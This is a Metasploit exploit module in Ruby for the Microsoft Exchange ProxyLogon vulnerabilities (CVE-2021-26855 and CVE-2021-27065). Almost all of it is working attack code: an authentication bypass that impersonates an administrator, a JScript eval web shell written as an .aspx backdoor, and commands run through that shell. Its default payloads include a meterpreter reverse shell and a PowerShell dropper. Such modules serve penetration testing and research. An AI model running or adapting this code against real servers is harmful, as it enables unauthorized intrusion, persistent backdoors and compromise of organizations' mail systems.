##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyLogon RCE',
'Description' => %q{
This module exploit a vulnerability on Microsoft Exchange Server that
allows an attacker bypassing the authentication, impersonating as the
admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get
the RCE (Remote Code Execution).
By taking advantage of this vulnerability, you can execute arbitrary
commands on the remote Microsoft Exchange Server.
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
All components are vulnerable by default.
},
'Author' => [
'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)
'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)
'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)
'print("")', # https://www.o2oxy.cn/3169.html
'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691
],
'References' => [
['CVE', '2021-26855'],
['CVE', '2021-27065'],
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
['URL', 'https://proxylogon.com/'],
['URL', 'http://aka.ms/exchangevulns'],
['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],
[
'URL',
'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'
],
['URL', 'https://www.o2oxy.cn/3169.html'],
['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']
],
'DisclosureDate' => '2021-03-02',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',
'HttpClientTimeout' => 60,
'RPORT' => 443,
'SSL' => true,
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Platform' => ['windows'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Windows Powershell',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_powershell,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Platform' => 'windows',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :windows_dropper,
'CmdStagerFlavor' => %i[psh_invokewebrequest],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
}
}
],
[
'Windows Command',
{
'Platform' => 'windows',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'AKA' => ['ProxyLogon']
}
)
)
register_options([
OptString.new('EMAIL', [true, 'A known email address for this organization']),
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),
OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])
])
register_advanced_options([
OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])
])
end
def cmd_windows_generic?
datastore['PAYLOAD'] == 'cmd/windows/generic'
end
def encode_cmd(cmd)
cmd.gsub!('\\', '\\\\\\')
cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
end
def execute_command(cmd, _opts = {})
cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
send_request_raw(
'method' => 'POST',
'uri' => normalize_uri(web_directory, @random_filename),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "#{@random_inputname}=#{cmd}"
)
end
def install_payload(exploit_info)
# exploit_info: [server_name, sid, session, canary, oab_id]
input_name = rand_text_alpha(4..8).to_s
shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>"
data = {
identity: {
__type: 'Identity:ECP',
DisplayName: (exploit_info[4][0]).to_s,
RawIdentity: (exploit_info[4][1]).to_s
},
properties: {
Parameters: {
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
ExternalUrl: shell.to_s
}
}
}.to_json
response = send_http(
'POST',
"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
data: data,
cookie: exploit_info[2],
ctype: 'application/json; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(exploit_info[1]),
'msExchTargetMailbox' => patch_sid(exploit_info[1]),
'X-vDirObjectId' => (exploit_info[4][1]).to_s
}
)
return '' if response.code != 200
input_name
end
def message(msg)
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end
def patch_sid(sid)
ar = sid.to_s.split('-')
if ar[-1] != '500'
sid = "#{ar[0..6].join('-')}-500"
end
sid
end
def random_mapi_id
id = "{#{Rex::Text.rand_text_hex(8)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
id.upcase
end
def random_ssrf_id
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)
# max. 2147483647
rand(1941962752..2147483647)
end
def request_autodiscover(server_name)
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }
response = send_http(
'POST',
"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}",
data: soap_autodiscover,
ctype: 'text/xml; charset=utf-8'
)
case response.body
when %r{<ErrorCode>500</ErrorCode>}
fail_with(Failure::NotFound, 'No Autodiscover information was found')
when %r{<Action>redirectAddr</Action>}
fail_with(Failure::NotFound, 'No email address was found')
end
xml = Nokogiri::XML.parse(response.body)
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?
server = ''
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
type = item.at_xpath('./xmlns:Type', xmlns)&.content
if type == 'EXCH'
server = item.at_xpath('./xmlns:Server', xmlns)&.content
end
end
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
[server, legacy_dn]
end
# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
def request_mapi(server_name, legacy_dn, server_id)
data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
headers = {
'X-RequestType' => 'Connect',
'X-ClientInfo' => random_mapi_id,
'X-ClientApplication' => datastore['MapiClientApp'],
'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
}
sid = ''
response = send_http(
'POST',
"Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}",
data: data,
ctype: 'application/mapi-http',
headers: headers
)
if response.code == 200
sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/
sid = response.body.match(sid_regex).to_s
end
fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
sid
end
def request_oab(server_name, sid, session, canary)
data = {
filter: {
Parameters: {
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
SelectedView: '',
SelectedVDirType: 'OAB'
}
},
sort: {}
}.to_json
response = send_http(
'POST',
"Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}",
data: data,
cookie: session,
ctype: 'application/json; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(sid),
'msExchTargetMailbox' => patch_sid(sid)
}
)
if response.code == 200
data = JSON.parse(response.body)
data['d']['Output'].each do |oab|
if oab['Server'].downcase == server_name.downcase
return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]
end
end
end
[]
end
def request_proxylogon(server_name, sid)
data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>"
session_id = ''
canary = ''
response = send_http(
'POST',
"Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}",
data: data,
ctype: 'text/xml; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(sid),
'msExchTargetMailbox' => patch_sid(sid)
}
)
if response.code == 241
session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...
end
[session_id, canary]
end
# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
def run_cve_2021_26855
# request for internal server name.
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
end
server_name = response.headers['X-FEServer']
print_status("Internal server name (#{server_name})")
# get informations by autodiscover request.
print_status(message('Sending autodiscover request'))
server_id, legacy_dn = request_autodiscover(server_name)
print_status("Server: #{server_id}")
print_status("LegacyDN: #{legacy_dn}")
# get the user UID using mapi request.
print_status(message('Sending mapi request'))
sid = request_mapi(server_name, legacy_dn, server_id)
print_status("SID: #{sid} (#{datastore['EMAIL']})")
# search oab
sid, session, canary, oab_id = search_oab(server_name, sid)
[server_name, sid, session, canary, oab_id]
end
# post-auth arbitrary file write.
def run_cve_2021_27065(session_info)
# set external url (and set the payload).
print_status('Prepare the payload on the remote target')
input_name = install_payload(session_info)
fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty?
# reset the virtual directory (and write the payload).
print_status('Write the payload on the remote target')
remote_file = write_payload(session_info)
fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty?
# wait a lot.
i = 0
while i < datastore['MaxWaitLoop']
received = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(web_directory, remote_file)
})
if received && (received.code == 200)
break
end
print_warning("Wait a lot (#{i})")
sleep 5
i += 1
end
fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302
[input_name, remote_file]
end
def search_oab(server_name, sid)
# request cookies (session and canary)
print_status(message('Sending ProxyLogon request'))
print_status('Try to get a good msExchCanary (by patching user SID method)')
session_id, canary = request_proxylogon(server_name, patch_sid(sid))
if canary
session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
oab_id = request_oab(server_name, sid, session, canary)
end
if oab_id.nil? || oab_id.empty?
print_status('Try to get a good msExchCanary (without correcting the user SID)')
session_id, canary = request_proxylogon(server_name, sid)
if canary
session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
oab_id = request_oab(server_name, sid, session, canary)
end
end
fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?
print_status("ASP.NET_SessionId: #{session_id}")
print_status("msExchEcpCanary: #{canary}")
print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")
return [sid, session, canary, oab_id]
end
def send_http(method, ssrf, opts = {})
ssrf = "X-BEResource=#{ssrf};"
if opts[:cookie] && !opts[:cookie].empty?
opts[:cookie] = "#{ssrf} #{opts[:cookie]}"
else
opts[:cookie] = ssrf.to_s
end
opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil?
request = {
'method' => method,
'uri' => @random_uri,
'agent' => datastore['UserAgent'],
'ctype' => opts[:ctype]
}
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
received = send_request_cgi(request)
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
received
end
def soap_autodiscover
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
SOAP
end
def web_directory
if datastore['UseAlternatePath']
web_dir = datastore['IISWritePath'].gsub('\\', '/')
else
web_dir = datastore['ExchangeWritePath'].gsub('\\', '/')
end
web_dir
end
def write_payload(exploit_info)
# exploit_info: [server_name, sid, session, canary, oab_id]
remote_file = "#{rand_text_alpha(4..8)}.aspx"
if datastore['UseAlternatePath']
remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
else
remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}"
end
data = {
identity: {
__type: 'Identity:ECP',
DisplayName: (exploit_info[4][0]).to_s,
RawIdentity: (exploit_info[4][1]).to_s
},
properties: {
Parameters: {
__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',
FilePathName: remote_path.to_s
}
}
}.to_json
response = send_http(
'POST',
"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}",
data: data,
cookie: exploit_info[2],
ctype: 'application/json; charset=utf-8',
headers: {
'msExchLogonMailbox' => patch_sid(exploit_info[1]),
'msExchTargetMailbox' => patch_sid(exploit_info[1]),
'X-vDirObjectId' => (exploit_info[4][1]).to_s
}
)
return '' if response.code != 200
remote_file
end
def exploit
@proto = (ssl ? 'https' : 'http')
@random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")
print_status(message('Attempt to exploit for CVE-2021-26855'))
exploit_info = run_cve_2021_26855
print_status(message('Attempt to exploit for CVE-2021-27065'))
shell_info = run_cve_2021_27065(exploit_info)
@random_inputname = shell_info[0]
@random_filename = shell_info[1]
print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
if datastore['UseAlternatePath']
remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}"
else
remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}"
end
register_files_for_cleanup(remote_file)
# trigger powa!
case target['Type']
when :windows_command
vprint_status("Generated payload: #{payload.encoded}")
if !cmd_windows_generic?
execute_command(payload.encoded)
else
response = execute_command("cmd /c #{payload.encoded}")
print_warning('Dumping command output in response')
output = response.body.split('Name :')[0]
if output.empty?
print_error('Empty response, no command output')
return
end
print_line(output)
end
when :windows_dropper
execute_command(generate_cmdstager(concat_operator: ';').join)
when :windows_powershell
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
execute_command(cmd)
end
end
end
